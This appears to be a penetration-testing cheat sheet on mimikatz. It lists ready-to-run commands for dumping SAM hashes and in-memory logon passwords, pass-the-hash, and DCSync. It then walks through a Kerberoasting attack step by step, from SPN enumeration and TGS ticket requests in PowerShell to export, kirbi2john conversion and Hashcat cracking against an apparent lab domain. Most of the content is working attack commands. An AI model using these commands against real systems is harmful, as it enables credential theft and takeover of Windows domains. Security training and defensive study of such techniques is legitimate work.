mimikatz
mimikatz
is a tool made in C
.
It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz
can also perform pass-the-hash, pass-the-ticket or build Golden tickets.
Kiwi module in a meterpreter in metasploit is an adaptation of mimikatz.
No installation, portable
Download from: https://github.com/ParrotSec/mimikatz.git
Basic usage
| # Impersonate as NT Authority/SYSTEM (having permissions for it).
token::elevate
# List users and hashes of the machine
lsadump::sam
# Enable debug mode for our user
privilege::debug
# List users logged in the machine and still in memory
sekurlsa::logonPasswords full
# Pass The Hash attack in windows:
# 1. Run mimikatz
mimikatz.exe privilege::debug "sekurlsa::pth /user:<username> /rc4:<NTLM hash> /domain:<DOMAIN> /run:<Command>" exit
# sekurlsa::pth is a module that allows us to perform a Pass the Hash attack by starting a process using the hash of the user's password
# /run:<Command>: For example /run:cmd.exe
# 2. After that, we canuse cmd.exe to execute commands in the user's context.
# Run a dcsync attack:
.\mimikatz.exe privilege::debug "lsadump::dcsync
/domain:$domain /user:Administrator" exit
|
An Example
1. Enumerating SPNs with setspn.exe
We will focus on user accounts
and ignore the computer accounts returned by the tool.
2. Using PowerShell, we can request TGS tickets for the interested account and load them into memory.
| Add-Type -AssemblyName System.IdentityModel
# Add-Type cmdlet is used to add a .NET framework class to our PowerShell session, which can then be instantiated like any .NET framework object.
# -AssemblyName parameter allows us to specify an assembly that contains types that we are interested in using
# System.IdentityModel is a namespace that contains different classes for building security token services
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SQL01.inlanefreight.local:1433"
# New-Object cmdlet to create an instance of a .NET Framework object.
# System.IdentityModel.Tokens namespace with the KerberosRequestorSecurityToken class to create a security token
# -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433": pass the SPN name to the class to request a Kerberos TGS ticket
|
3. If needed, we could also retrieve all tickets:
| setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
|
4. Extract Tickets from Memory with Mimikatz
| # Launch mimikatz
mimikatz.exe
# Specify base64
base64 /out:true
# If we do not specify the base64 /out:true command, Mimikatz will extract the tickets and write them to .kirbi files.
# Export the tickets
kerberos::list /export
|
5. Next, we can take the base64 blob and remove new lines and white spaces since the output is column wrapped, and we need it all on one line for the next step.
| echo "<base64 blob>" | tr -d \\n
|
6. We can place the above single line of output into a file and convert it back to a .kirbi
file using the base64
utility.
| cat encoded_file | base64 -d > sqldev.kirbi
|
7. Use kirbi2john.py:
| python2.7 kirbi2john.py Filename.kirbi
|
This will create a file called crack_file
. We then must modify the file a bit to be able to use Hashcat against the hash.
| sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > ServiceName_tgs_hashcat
|
8. Cracking the Hash with Hashcat
| hashcat -m 13100 ServiceName_tgs_hashcat /usr/share/wordlists/rockyou.txt
|
If we decide to skip the base64 output with Mimikatz and type mimikatz # kerberos::list /export
, the .kirbi file (or files) will be written to disk. In this case, we can download the file(s) and run kirbi2john.py
against them directly, skipping the base64 decoding step.
Last update: 2025-01-13
Created: July 12, 2023 19:45:03